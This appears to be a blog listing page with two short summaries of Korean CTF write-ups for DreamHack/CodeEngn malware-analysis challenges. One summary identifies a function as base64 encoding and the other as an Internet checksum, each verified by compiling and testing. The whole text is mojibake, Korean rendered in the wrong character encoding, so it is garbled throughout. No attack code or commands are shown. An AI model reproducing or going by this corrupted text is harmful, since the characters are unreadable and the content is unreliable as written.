μ•…μ„±μ½”λ“œ μ†ŒμŠ€ 31μ€„λ§Œ μ£Όκ³  "무엇을 ν•˜λŠ” ν•¨μˆ˜μΈκ°€"λ₯Ό λ¬»λŠ”λ‹€. ν‘œμ€€ μ•ŒνŒŒλ²³ 64μžμ™€ 6λΉ„νŠΈ λ§ˆμŠ€ν¬κ°€ λ³΄μ΄λ‹ˆ base64 같은데, 눈으둜 μ°λŠ” λŒ€μ‹  κ°€λ €μ§„ 두 쀄을 μ±„μ›Œ μ»΄νŒŒμΌν•˜κ³  μž…λ ₯ 304쒅을 ν‘œμ€€κ³Ό λ°”μ΄νŠΈ λ‹¨μœ„λ‘œ 맞좰 λ΄€λ‹€. 덀으둜 이 κ΅¬ν˜„μ΄ 3의 배수 μ•„λ‹Œ κΈΈμ΄μ—μ„œ ν„°μ§€κ³  76μ—΄ κ·œκ²©λ„ μ–΄κΈ΄λ‹€λŠ” κ²ƒκΉŒμ§€ μ‹€μΈ‘ν–ˆλ‹€.
#dreamhack#ctf#misc+6
2026-08-19#dreamhack +4
[πŸ₯‰ Bronze 1] 헀더에 λ°•νžˆλŠ” 두 λ°”μ΄νŠΈ β€” DreamHack [CodeEngn] Malware L03 풀이
blog

[πŸ₯‰ Bronze 1] 헀더에 λ°•νžˆλŠ” 두 λ°”μ΄νŠΈ β€” DreamHack [CodeEngn] Malware L03 풀이

μ•…μ„±μ½”λ“œ μ†ŒμŠ€ 10쀄을 던져 μ£Όκ³  "무엇을 ν•˜λŠ” ν•¨μˆ˜μΈκ°€"만 λ¬»λŠ”λ‹€. λͺ¨μ–‘은 인터넷 체크섬인데, λͺ¨μ–‘λ§Œ 보고 닡을 찍기엔 κ·Όκ±°κ°€ μ–‡λ‹€. κ·Έλž˜μ„œ 배포본을 ν•œ κΈ€μžλ„ μ•ˆ 고치고 μ»΄νŒŒμΌν•΄ tcpdump 둜 μž‘μ€ μ§„μ§œ νŒ¨ν‚·μ˜ 체크섬 자리 12κ³³κ³Ό 맞좰 λ΄€λ‹€. μ „λΆ€ μΌμΉ˜ν–ˆκ³ , 덀으둜 이 발췌본이 κ·œκ²©μ—μ„œ μ–΄κΈ‹λ‚˜λŠ” 자리 μ„Έ ꡰ데가 λ‚˜μ™”λ‹€.
#dreamhack#ctf#misc+6
2026-08-19#dreamhack +4